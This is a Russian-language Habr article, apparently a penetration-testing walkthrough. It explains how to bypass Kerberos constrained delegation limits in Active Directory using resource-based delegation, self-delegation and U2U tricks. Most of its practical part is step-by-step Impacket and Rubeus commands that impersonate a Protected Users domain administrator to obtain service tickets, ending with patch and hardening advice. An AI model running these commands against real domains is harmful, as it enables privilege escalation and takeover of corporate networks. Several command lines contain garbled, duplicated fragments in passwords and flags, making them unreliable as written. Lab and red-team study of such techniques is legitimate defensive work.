Точно ограничили? Обход отсутствия Protocol Transition и группы Protected Users при ограниченном делегировании Kerberos

Всем привет! Сегодня я хотел бы затронуть такую тему как ограниченное делегирование kerberos. На просторах интернета существует множество статей как злоупотреблять этим типом делегирования, но на хабре я не нашел статей про обход ограничений. А конкретно о настройке делегирования с Protocol Transition и олицетворяемом пользователе в группе Protected Users.

Но как быть, если мы получили хэш машинной учетки или пароль пользователя, и видим это?

результат утилиты findDelegation.pyрезультат утилиты findDelegation.py

А потом еще и это…

Доменный администратор TH в группе Protected UsersДоменный администратор TH в группе Protected Users

1. Члены этой группы могут аутентифицироваться только по протоколу Kerberos. Аутентифицироваться с помощью NTLM, дайджест-проверки (Digest Authentication) или CredSSP не получится.

2. Для пользователей этой группы в протоколе Kerberos при предварительной проверке подлинности не могут использоваться слабые алгоритмы шифрования, такие как DES или RC4 (требуется поддержка как минимум AES).

3. Эти учетные записи не могут быть делегированы через ограниченную или неограниченную делегацию Kerberos.

4. Долгосрочные ключи Kerberos не сохраняются в памяти. Это значит, что при истечении TGT (по умолчанию 4 часа) пользователь должен повторно аутентифицироваться.

5. Для пользователей данной группы не сохраняются данные для кэшированного входа в домен. Соответственно при недоступности контроллеров домена, эти пользователи не смогут аутентифицироваться на своих машинах через cached credential.

К счастью, в такой ситуации все не так печально, как кажется. Чарли Бромберг в своем докладе на InsomniHack поделился новыми техниками как раз для обхода таких ограничений. В этой статье я постараюсь подробно и понятным языком объяснить, как побороть боязнь трехглавой собачки сложных условий в ограниченном делегировании. Начнем, как обычно, с теоретической части и закончим практикой.

ДЕЛЕГИРОВАНИЕ KERBEROS

Делегирование используется, когда учетная запись сервера или службы должна выдавать себя за другого пользователя. Самый простой пример, когда веб-сервер олицетворяет пользователей при доступе к внутренним базам данных, обеспечивая доступ к данным.

Существует три вида делегирования:

1. Kerberos Unconstrained Delegation (KUD) — Неограниченное делегирование

2. Kerberos Constrained Delegation (KCD) — Ограниченное делегирование

3. Resource-based Constrained Delegation (RBCD) — Делегирование на основе ресурсов

Мы с вами будем разбирать два последних вида. Про KUD можно почитать тут.

Итак, Kerberos Constrained Delegation или сокращенно KCD.

KCD сокращает набор служб или ресурсов, к которым может подключаться конкретный сервер или приложение при олицетворении другого пользователя. Таким образом, мы можем выдавать себя за другого пользователя, но только на определенной машине и на определенной ее службе.

Схема ограниченного делегирования kerberosСхема ограниченного делегирования kerberosНастройка ограниченного делегирования в Active Directory Users and ComputersНастройка ограниченного делегирования в Active Directory Users and Computers

Зная хэш машинной УЗ CLIENT2, мы можем выдать себя за любого пользователя в домене, но пойти можем только к службе cifs на машине СLIENT1.
С УЗ юзера user1 все то же самое, можем ходить от имени любого другого пользователя, но только на cifs/CLIENT1 и cifs/ADCS.

c62f8cb99b56116d668212adc5cc42d3.png

Resource-based-constrained Delegation (RBCD)

Этот тип делегирования работает точно так же, как и KCD, но наоборот.

Схема ограниченного делегирования на основе ресурсовСхема ограниченного делегирования на основе ресурсов

Другими словами, если в KCD устанавливалось так называемое исходящее доверие, то в RBCD устанавливается входящее. Один ресурс доверяет другому ресурсу, только набор служб уже неограничен.

За RBCD отвечает атрибут msDS-AllowedToActOnBehalfOfOtherIdentity. Этот атрибут используется для проверки доступа, чтобы определить, есть ли у отправителя запроса разрешение действовать от имени других учеток для служб, работающих под этой учетной записью. 

Чтобы эксплуатировать RBCD в своих целях, у нас должна быть возможность создавать компьютеры внутри домена (это можно сделать благодаря атрибуту MS-DS-Machine-Account-Quota, который по умолчанию равен 10). Также нам необходимо иметь Generic Write/Generic ALL права на нашу цель, чтобы у нас была возможность писать в атрибут msDS-AllowedToActOnBehalfOfOtherIdentity.

Совсем недавно появилась возможность сделать это с помощью пользовательской учетки, почитать тут и тут. Советую пробежаться по этим статьям, так как к этому мы еще вернемся.

В настоящее время настроить RBCD через GUI не представляется возможным, но все можно сделать с помощью модуля PowerView:

Команды

PS> Set-DomainRBCD TARGET$ -DelegateFrom ATTACKERCOMP$ -Verbose

или Linux:

Команды

> rbcd.py -delegate-from ATTACKERCOMP$ -delegate-to TARGET$ -dc-ip 192.168.60.147 -action write 'thunter.lab/user:Password123'word

S4U2SELF & S4U2PROXY

Во время работы KCD в дело включаются две процедуры, которые имеют название S4U2Self и S4U2Proxy.

S4U2Self позволяет нам получить билет на себя от имени любого пользователя (необходим Forwardable флаг). Если говорить простым языком, то работает как "Привет KDC, ко мне пришел доменный администратор, дай мне ST для него на меня”

Тут нужно учесть, что:

  • Если пользователь, которого мы олицетворяем в Protected Users группе, то мы получим валидный билет, но без флага Forwardable

  • Если запрос не сконфигурирован для KCD, то мы получим валидный билет, но без флага Forwardable

  • Если запрос был сконфигурирован для KCD без protocol transition (с флагом kerberos-only), то мы получим валидный билет, но без флага Forwardable

S4U2Proxy позволяет нам получить билет для другого сервиса от имени пользователя клиента.

Если говорить простым языком, то работает как "Привет KDC, я хочу сходить на cifs/DC.thunter.lab от имени администратора домена, вот ST(Service Ticket) для него на меня (как доказательство), дай мне ST для него на cifs/DC.thunter.lab”

  • Запрос должен содержать дополнительный билет как доказательство аутентификации.

  • Этот дополнительный билет должен быть с флагом forwardable или содержать rbcd bit.

  • Мы должны иметь возможность злоупотреблять KCD (креды пользователя или креды машины, созданной для злоупотребления rbcd).

  • Если пользователь, которым мы хотим представиться, находится в Protected Users, то ничего не получится.

Все вместе это выглядит вот так:

Главное помнить, что

68c6f53ccff68684bca97f1660dc663a.png

Protocol Transition

Существует два подвида простого KCD. Первый это KCD with Protocol transition (any authentication), второй — KCD without Protocol transition (kerberos only).

KCD without protocol transition (Kerberos only):

  • Cервису, настроенному на KCD without protocol transition нужно, чтобы пользователь прошел аутентификацию. В последствии мы будем иметь возможность представляться от его лица во время s4u2proxy.

  • Не может олицетворять любого пользователя без аутентификации.

KCD with protocol transition (any auth):

  • Cервис, настроенный на KCD with protocol transition, делает s4u2self вместо ожидания аутентификации. Это именно тот момент, где происходит имперсонализация, поэтому мы можем представляться другим пользователем.

  • ST полученный в результате s4u2self будет являться доказательством s4u2proxy того, что пользователь, которым мы представляемся, уже аутентифицировался.

Подведем ИТОГ нашей теоретической части.

Если KCD было настроено без Protocol transition, то просто так имперсонализировать других пользователей у нас не получится.

4bc453d300ef2b3f51ab8578f2bf6fb0.pngПолученный билет без Forwardable флагаПолученный билет без Forwardable флага

Чтобы все получилось, нам нужен Forwardable флаг ИЛИ RBCD бит в зашифрованной части билета (TGS-REQ«s PAPACOPTIONS). Как выяснилось, что при RBCD, KDC не столь важно наличие forwardable флага.  KDC будет смотреть, есть ли в зашифрованной части билета rbcd бит и если он там будет, то мы получим то, что нам нужно.

Флаг forwardable отсутствует, но билет с помощью s4u2proxy мы получилиФлаг forwardable отсутствует, но билет с помощью s4u2proxy мы получили

Таким образом, чтобы обойти эти ограничения, нужно использовать s4u2proxy. Тогда можно будет получить билет, который будет соответствовать требованиям s4u2proxy, так как s4u2proxy постоянно вырабатывает билеты с флагом forwardable.

d8e756a1a99c54fc353d0215f8aac3a0.png

Ладно, все не так сложно, как кажется. Перейдём наконец к практической части статьи. Я буду делать все и c kali linux c помощью библиотеки Impacket и с помощью инструмента Rubeus. Для части где мы будем использовать пользовательскую учетку, Rubeus нужно будет немного переписать. Продублирую ссылку. Для удобства в демонстрации, я буду использовать пароли от машинных УЗ.

Сценарий

Мы получили пароль/хеш машинной учетной записи KCD$, на которой настроено ограниченное делегирование на сifs/ADCS.thunter.lab без protocol transition.

fb76eddd8efd7ee82c0b6677e9c79051.png

Посмотреть, как настроено делегирование в доменной инфраструктуре можно с помощью инструмента findDelegation.py из состава Impacket.

Команды

> sudo findDelegation.py thunter.lab/reguser:Password123

bf51fe27bb20ca81d22eba953759a94f.png

Так же, доменный администратор TH находится в группе Protected Users.

9c27e55d8ed9eac39fbec81c871dfa1d.png

Как видим простой абъюз KCD тут не пройдет.

8542d863a3ca77a0e8c75cda6badfd75.png

Поэтому будем пытаться использовать то, чему научились.

RBCD trick

Используем RBCD чтобы имитировать валидный для нас s4u2self билет → s4u2proxy билет будет forwardable → s4u2proxy отработает как нужно, так как мы подсунем ему билет где будет forwardable флаг.

1. Первым делом создаем машину

Команды

> sudo addcomputer.py -computer-name 'rbcd$' -computer-pass 'rbcd@123' -dc-host '192.168.60.147' -method 'LDAPS' -domain-netbios 'THUNTERLAB' 'thunter.lab/user:Password123'123'

2. Прописываем RBCD от нашей машины rbcd$ к машине KCD

Команды

> sudo rbcd.py -delegate-from rbcd$ -delegate-to KCD$ -dc-ip 192.168.60.147 -action  write thunter.lab/Password12323te

a2be699ff4d3f54bb774f14f9854987e.png

3. Делаем s4u2self для TH

Команды

> sudo getTGT.py thunter.lab/rbcd$:’rbcd@123’ -dc-ip 192.168.60.147
> sudo KRB5CCNAME=rbcd$.ccache python3 getST.py -self -k -no-pass -impersonate TH -dc-ip 192.168.60.147 thunter.lab/rbcd:'rbcd@123'e TH

9e1263cdf0827bc432d2f69a3573b86e.png

Хоть у нас и нет Forwardable флага, билет перенаправится за счет RBCD

2da4342d5bf59b7577ad8819aa8c2dee.png

4. Делаем s4u2proxy на host/KCD подставляя полученный выше билет

Команды

> sudo getST.py -additional-ticket TH@rbcd@THUNTER.LAB.ccache -spn host/KCD -impersonate TH -dc-ip 192.168.60.147 thunter.lab/rbcd:”rbcd@123"

ad0c65e989a92113cacf55ba9baa67fc.png

Как видим, желамый флажок появился

47168ce84f10d6f930fe07bb3c0b71aa.png

5. Делаем KCD подставляя этот билет и… все прекрасно отработало.

Команды

> sudo getST.py -additional-ticket TH.ccache -spn cifs/ADCS -impersonate TH -dc-ip 192.168.60.147 thunter.lab/KCD$:Password123d

ae42fef0dc796b6954f407195b925931.pnga04b31b0067f0fcd9cf54199d1140573.png

На Win

Добавляем машину rbcd$ в домен и прописываем RBCD

Команды

PS> . .\Powermad.ps1
PS> New-MachineAccount -MachineAccount rbcd -Password $(ConvertTo-SecureString 'rbcd@123' -AsPlainText -Force) -Verbose
PS> . .\PowerView.ps1
PS> Set-DomainRBCD KCD -DelegateFrom rbcd -Verbose

Rubeus

  1. Запрашиваем TGT

Команды

PS> .\Rubeus.exe asktgt /user:kcd /rc4:58a478135a93ac3bf058a5ea0e8fdb71 /nowrap

d4ed60c7b33fb7ab046781a91ceb1534.png

Аналогично делаем и для машины rbcd$

2. Делаем s4u2self

Команды

PS> .\Rubeus.exe s4u /impersonate:TH /nowrap /ticket: rbcd$ TGT

a0617927d98b191bbe78536c64b6c96d.png

3. Делаем s4u2proxy

Команды

PS> .\Rubeus.exe s4u /msdsspn:host/KCD /nowrap /ticket: rbcd TGT /tgs: ST из шага 2га 2

3575c7e44a56de3e99a61bfb52ff83cd.png

4. Делаем KCD

Команды

PS> .Rubeus.exe s4u /msdsspn:cifs/ADCS /nowrap /ticket:TGT KCD$ /tgs: билет из шага 3га 3

e72c25fc210286c9b2e5bd780ac8453d.png34ec2e1d3da3e571edecce301306f936.png

У этого метода есть недостатки, во-первых, мы должны иметь возможность создать машину, во-вторых, должны иметь права на запись rbcd бита в атрибут KCD машины.

Self RBCD trick

Но что если мы настроим RBCD на самого себя?

1. Прописываем сами на себя RBCD

Команды

>sudo rbcd.py -delegate-from KCD$ -delegate-to KCD$ -dc-ip 192.168.60.147 -action write thunter.lab/KCD$:Password123123d

a06162889dfe8ac7746f7a53421b1656.png

2. Делаем S4U2Proxy запрашивая билет на host/KCD для TH

Команды

> sudo getST.py -spn host/KCD -impersonate TH -dc-ip 192.168.60.147 thunter.lab/KCD:Password123d

48aa17d1632fa3f798876de295d68e9b.png

3. Делаем KCD подставляя полученный выше билет

Команды

> sudo getST.py -additional-ticket TH.ccache -spn cifs/ADCS -impersonate TH -dc-ip 192.168.60.147 thunter.lab/KCD:Password123123d

6af40d15c1ef482d09496f3bc629d361.png

Win

Команды

. .\PowerView.ps1
PS> Set-DomainRBCD KCD -DelegateFrom KCD -Verbose

1. Запрашиваем TGT

Команды

PS> .\Rubeus.exe asktgt /user:kcd /rc4:58a478135a93ac3bf058a5ea0e8fdb71 /nowrap

5639950dcc4ced51db4069ba454e66d0.png

2. Делаем s2u2self на host/KCD с тикетом KCD

Команды

PS> .\Rubeus.exe s4u /msdsspn:host/KCD /impersonateuser:TH /nowrap /ticket:TGT шаг 1

da4c6865299afffbce6d86c6ed7f8c77.png

3. Делаем KCD c tgs полученный на шаге 2 TGT на шаге 1.

Команды

PS> .\Rubeus.exe s4u /msdsspn:cifs/ADCS /nowrap /ticket: TGT шаг 1 /tgs: ST шаг 2аг 2

7149a7f0680a49b563e11061d797fde0.png

BONUS

В качестве бонуса вашему вниманию предлагается пересмотреть первый способ. Здесь будем использовать RBCD с помощью пользовательской учетки и механизма U2U. Смотреть на квоту для добавления машин в домен как вы понимаете, нам уже неинтересно.

1. Предположим, что мы знаем пароль пользователя user1 и нам РАЗРЕШИЛИ его менять, так как в итоге пароль от этой УЗ уедет в закат.

2. Прописываем RBCD на KCD$.

Команды

PS> . .\PowerView.ps1
PS> SetDomainRBCD KCD -DelegateFrom user1 -Verbose

b59bfa2f1e2942dd0f924973b395547b.png

3. Запрашиваем билет на host/KCD от имени доменного админа TH через процедуру U2U

Команды

PS> .\Rubeusu2u.exe s4u /u2u /user:user1 /rc4:58A478135A93AC3BF058A5EA0E8FDB71 /impersonateuser:TH /msdsspn:host/KCD /nowraprapw

4. Злоупотребляем Ограниченным делегированием

Команды

PS> .\Rubeus.exe asktgt /user:KCD /rc4:58a478135a93ac3bf058a5ea0e8fdb71 /nowrap
PS> .\Rubeus.exe s4u /msdsspn:cifs/ADCS /nowrap /ticket:TGT_KCD$ /tgs: билет из шага 3га 3

c2dbeadfd44978e8496c0386aa2a688e.png

Иии получаем желаемый билет. Перед тем проводить такого рода атаку, предварительно 5 раз обсуждаем с заказчиком.

Итог

Вот и все, как видим с помощью RBCD мы успешно обходим ограничения, выставленные после настройки KDC без Protocol transition, а также наличие целевого пользователя в группе Protected Users.

К счастью, патч KB5014692 (14/06/2022) вышел два месяца назад, так что советуем всем обновиться. Еще спасет надстройка Account is sensitive and cannot be delegated и, конечно, не отказываемся от подписи LDAP.

© Habrahabr.ru